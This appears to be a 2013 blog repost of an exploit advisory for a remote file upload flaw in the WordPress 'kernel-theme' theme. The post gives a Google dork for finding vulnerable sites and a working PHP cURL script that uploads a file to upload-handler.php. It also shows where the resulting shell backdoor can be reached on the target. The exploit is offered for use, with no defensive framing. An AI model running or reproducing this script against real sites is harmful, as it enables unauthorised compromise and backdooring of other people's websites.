Thursday 7 November 2013

WordPress themekernel-theme Themes Remote File Upload Vulnerability

###################################################################################################
# Exploit Title: WordPress themekernel-theme Themes Remote File Upload Vulnerability
# Author: iskorpitx
# Date: 6/11/2013
# Vendor Homepage: http://www.wikmag.com/
# Themes Link: http://www.wikmag.com/kernel-premium-magazine-theme-by-themeforest-orange-themes.html
# Infected File: upload-handler.php
# Category: webapps
# Google dork: inurl:/wp-content/themes/kernel-theme/
# Tested on : Windows/Linux
###################################################################################################

# Exploit
(Save under XAMPP or WAMPP on one directories) and access it from localhost

<?php
$uploadfile="upload.php";
$ch = curl_init("http://[targetsitus]/wp-content/themes/kernel-theme/functions/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>

Shell Backdoor aksesnya ada berada di tempat ini :
http://[targetsitus]/[path]/wp-content/uploads/[year]/[month]/upload.php <-- backdoor name

Labels: ,

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home